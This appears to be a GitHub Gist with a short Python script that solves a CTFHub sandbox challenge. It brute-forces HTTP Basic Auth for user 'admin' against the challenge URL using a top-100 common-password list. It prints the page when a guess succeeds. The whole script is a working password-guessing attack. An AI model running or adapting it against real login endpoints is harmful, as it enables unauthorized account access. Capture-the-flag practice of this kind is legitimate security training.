Last active
September 14, 2021 04:51
-
-
Save imbytecat/a8205cc2c6faee877f97afb9a7461693 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
url = "http://challenge-fe7563142b0b0b02.sandbox.ctfhub.com:10800/flag.html" | |
for line in open("10_million_password_list_top_100.txt"): | |
response = requests.request("GET", url, auth=( | |
'admin', line.replace('\n', '').replace('\r', ''))) | |
if response.status_code != 401: | |
print(response.text) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment